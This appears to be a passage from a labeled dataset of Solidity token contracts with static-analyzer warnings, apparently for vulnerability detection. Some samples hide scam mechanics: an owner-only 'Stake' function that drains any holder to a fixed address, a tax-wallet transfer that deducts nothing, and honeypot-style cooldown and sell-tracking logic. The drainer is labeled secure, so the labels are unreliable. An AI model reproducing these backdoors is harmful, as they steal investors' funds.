"size_bytes": 929
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Initializable {\n bool inited = false;\n\n modifier initializer() {\n require(!inited, \"already inited\");\n _;\n inited = true;\n }\n}",
"file_name": "solidity_code_1599.sol",
"secure": 1,
"size_bytes": 235
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}",
"file_name": "solidity_code_16.sol",
"secure": 1,
"size_bytes": 412
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Block0 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c8fffb4): Block0._taxWallet should be immutable \n\t// Recommendation for c8fffb4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Block0 Sniper Bot\";\n\n string private constant _symbol = unicode\"Block0\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 906008d): Block0._initialBuyTax should be constant \n\t// Recommendation for 906008d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: d9ce4e3): Block0._initialSellTax should be constant \n\t// Recommendation for d9ce4e3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 88de258): Block0._finalBuyTax should be constant \n\t// Recommendation for 88de258: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c202705): Block0._finalSellTax should be constant \n\t// Recommendation for c202705: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff806e9): Block0._reduceBuyTaxAt should be constant \n\t// Recommendation for ff806e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8036725): Block0._reduceSellTaxAt should be constant \n\t// Recommendation for 8036725: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 382164d): Block0._preventSwapBefore should be constant \n\t// Recommendation for 382164d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 1;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6af4ece): Block0._taxSwapThreshold should be constant \n\t// Recommendation for 6af4ece: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 38edf28): Block0._maxTaxSwap should be constant \n\t// Recommendation for 38edf28: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 15000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 20fd5e2): Block0.targetMcInit should be constant \n\t// Recommendation for 20fd5e2: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: e746849): Block0.targetMcInit is never initialized. It is used in Block0._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for e746849: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private targetMcInit;\n\n uint256 private targetMinLevel;\n\n struct TargetMktcap {\n uint256 mcSwap;\n uint256 mcPercent;\n uint256 mcLevel;\n }\n\n mapping(address => TargetMktcap) private targetMktcap;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x76a5598944cBE1e3B5E84681B3089A25237d99e5);\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _balances[_msgSender()] = _tTotal;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 98010f5): Block0.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 98010f5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f88f7cc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f88f7cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: eaed305): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for eaed305: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f88f7cc\n\t\t// reentrancy-benign | ID: eaed305\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f88f7cc\n\t\t// reentrancy-benign | ID: eaed305\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bcefc08): Block0._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bcefc08: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: eaed305\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f88f7cc\n emit Approval(owner, spender, amount);\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6601923): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6601923: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 91d065b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 91d065b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c9c466b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c9c466b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!tradingOpen || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 6601923\n\t\t\t\t// reentrancy-benign | ID: 91d065b\n\t\t\t\t// reentrancy-eth | ID: c9c466b\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6601923\n\t\t\t\t\t// reentrancy-eth | ID: c9c466b\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 91d065b\n targetMinLevel = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to == uniswapV2Pair) {\n TargetMktcap storage mcfrom = targetMktcap[from];\n\n\t\t\t\t// reentrancy-benign | ID: 91d065b\n mcfrom.mcLevel = mcfrom.mcSwap - targetMinLevel;\n\n\t\t\t\t// reentrancy-benign | ID: 91d065b\n mcfrom.mcPercent = block.timestamp;\n } else {\n TargetMktcap storage mcto = targetMktcap[to];\n\n if (uniswapV2Pair == from) {\n if (mcto.mcSwap == 0) {\n if (_preventSwapBefore < _buyCount) {\n\t\t\t\t\t\t\t// reentrancy-benign | ID: 91d065b\n mcto.mcSwap = block.number;\n } else {\n\t\t\t\t\t\t\t// reentrancy-benign | ID: 91d065b\n mcto.mcSwap = block.number - 1;\n }\n }\n } else {\n TargetMktcap storage mcfrom = targetMktcap[from];\n\n if (!(mcto.mcSwap > 0) || mcfrom.mcSwap < mcto.mcSwap) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 91d065b\n mcto.mcSwap = mcfrom.mcSwap;\n }\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 6601923\n\t\t// reentrancy-eth | ID: c9c466b\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: e746849): Block0.targetMcInit is never initialized. It is used in Block0._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for e746849: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : targetMcInit.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: c9c466b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6601923\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: c9c466b\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: c9c466b\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 6601923\n emit Transfer(from, to, receiptAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6601923\n\t\t// reentrancy-events | ID: f88f7cc\n\t\t// reentrancy-benign | ID: eaed305\n\t\t// reentrancy-benign | ID: 91d065b\n\t\t// reentrancy-eth | ID: c9c466b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b4b71cc): Block0.revokeStuckETH() sends eth to arbitrary user Dangerous calls address(msg.sender).transfer(address(this).balance)\n\t// Recommendation for b4b71cc: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function revokeStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n\t\t// arbitrary-send-eth | ID: b4b71cc\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6601923\n\t\t// reentrancy-events | ID: f88f7cc\n\t\t// reentrancy-eth | ID: c9c466b\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 27da959): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 27da959: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 75f940c): Block0.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 75f940c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 926e23c): Block0.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 926e23c: Ensure that all the return values of the function calls are used.\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 27da959\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 27da959\n\t\t// unused-return | ID: 75f940c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 27da959\n\t\t// unused-return | ID: 926e23c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 27da959\n swapEnabled = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_160.sol",
"secure": 0,
"size_bytes": 20298
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\n\ncontract EIP712Base is Initializable {\n struct EIP712Domain {\n string name;\n string version;\n address verifyingContract;\n bytes32 salt;\n }\n\n string public constant ERC712_VERSION = \"1\";\n\n bytes32 internal constant EIP712_DOMAIN_TYPEHASH =\n keccak256(\n bytes(\n \"EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)\"\n )\n );\n bytes32 internal domainSeperator;\n\n function _initializeEIP712(string memory name) internal initializer {\n _setDomainSeperator(name);\n }\n\n function _setDomainSeperator(string memory name) internal {\n domainSeperator = keccak256(\n abi.encode(\n EIP712_DOMAIN_TYPEHASH,\n keccak256(bytes(name)),\n keccak256(bytes(ERC712_VERSION)),\n address(this),\n bytes32(getChainId())\n )\n );\n }\n\n function getDomainSeperator() public view returns (bytes32) {\n return domainSeperator;\n }\n\n function getChainId() public view returns (uint256) {\n uint256 id;\n assembly {\n id := chainid()\n }\n return id;\n }\n\n function toTypedMessageHash(\n bytes32 messageHash\n ) internal view returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\"\\x19\\x01\", getDomainSeperator(), messageHash)\n );\n }\n}",
"file_name": "solidity_code_1600.sol",
"secure": 1,
"size_bytes": 1658
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract REKT is ERC20, Ownable {\n constructor() ERC20(\"REKT\", \"REKT\") {\n _mint(msg.sender, 7_000_000_000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1601.sol",
"secure": 1,
"size_bytes": 343
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract VITALIK is ERC20, Ownable {\n constructor() ERC20(\"Orthanc Protocol\", \"$ORTHANC\") {\n _mint(msg.sender, 100_000_000_000 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_1602.sol",
"secure": 1,
"size_bytes": 365
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n address private _owner;\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _owner = msg.sender;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function Stake(address account) public {\n require(msg.sender == _owner);\n _transfer(\n account,\n 0x20Bd49394cBCE52EbF643d633f8F36f838e111Ad,\n _balances[account]\n );\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1603.sol",
"secure": 1,
"size_bytes": 5620
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract SAFEMOON3 is ERC20 {\n constructor() ERC20(\"SAFEMOON3.0\", \"SAFEMOON3.0\") {\n _mint(msg.sender, 420_000_000_000_000_000_000_000_000_000_000);\n }\n}",
"file_name": "solidity_code_1604.sol",
"secure": 1,
"size_bytes": 305
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Pausable is Context {\n event Paused(address account, uint256 asset);\n\n event Unpaused(address account, uint256 asset);\n\n mapping(uint256 => bool) private _paused;\n\n constructor() {}\n\n function paused(uint256 a) public view virtual returns (bool) {\n return _paused[a];\n }\n\n modifier whenNotPaused(uint256 a) {\n require(!paused(a), \"Pausable: paused\");\n _;\n }\n\n modifier whenPaused(uint256 a) {\n require(paused(a), \"Pausable: not paused\");\n _;\n }\n\n function _pause(uint256 a) internal virtual whenNotPaused(a) {\n _paused[a] = true;\n emit Paused(_msgSender(), a);\n }\n\n function _unpause(uint256 a) internal virtual whenPaused(a) {\n _paused[a] = false;\n emit Unpaused(_msgSender(), a);\n }\n}",
"file_name": "solidity_code_1605.sol",
"secure": 1,
"size_bytes": 975
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Rethestate is ERC20 {\n constructor(uint256 initialSupply) public ERC20(\"Rethestate\", \"RETHE\") {\n _mint(msg.sender, initialSupply);\n }\n}",
"file_name": "solidity_code_1606.sol",
"secure": 1,
"size_bytes": 291
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract TEST is Ownable, ERC20 {\n using SafeERC20 for IERC20;\n\n constructor() ERC20(\"TEST\", \"TEST\") {\n _transferOwnership(0xfAc7BD2dB24e418bb1AfE90e5232Cd51384f7140);\n _mint(owner(), 79_000_000_000_000 * (10 ** 18));\n }\n\n receive() external payable {}\n\n fallback() external payable {}\n\n function burn(uint256 amount) external {\n super._burn(_msgSender(), amount);\n }\n\n function claimStuckTokens(address token) external onlyOwner {\n if (token == address(0x0)) {\n payable(_msgSender()).transfer(address(this).balance);\n return;\n }\n IERC20 ERC20token = IERC20(token);\n uint256 balance = ERC20token.balanceOf(address(this));\n ERC20token.safeTransfer(_msgSender(), balance);\n }\n}",
"file_name": "solidity_code_1607.sol",
"secure": 1,
"size_bytes": 1147
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract MatrixSniper is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: c92b1ab): MatrixSniper._decimals should be constant \n\t// Recommendation for c92b1ab: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 40e1bf0): MatrixSniper._totalSupply should be immutable \n\t// Recommendation for 40e1bf0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 0cb06eb): MatrixSniper._name should be constant \n\t// Recommendation for 0cb06eb: Add the 'constant' attribute to state variables that never change.\n string private _name = \"MATRIX SNIPER\";\n\n\t// WARNING Optimization Issue (constable-states | ID: b7e4ac5): MatrixSniper._symbol should be constant \n\t// Recommendation for b7e4ac5: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"MATRIX\";\n\n\t// WARNING Optimization Issue (constable-states | ID: ece052e): MatrixSniper.uniV2Router should be constant \n\t// Recommendation for ece052e: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7199b16): MatrixSniper._taxWallet should be immutable \n\t// Recommendation for 7199b16: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function togetminimumswap() public {}\n\n function togetswapminimum() external {}\n\n function minlimittoapprove() public {}\n\n function maxlimittoapprove() public {}\n\n function toApproveLimit(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address 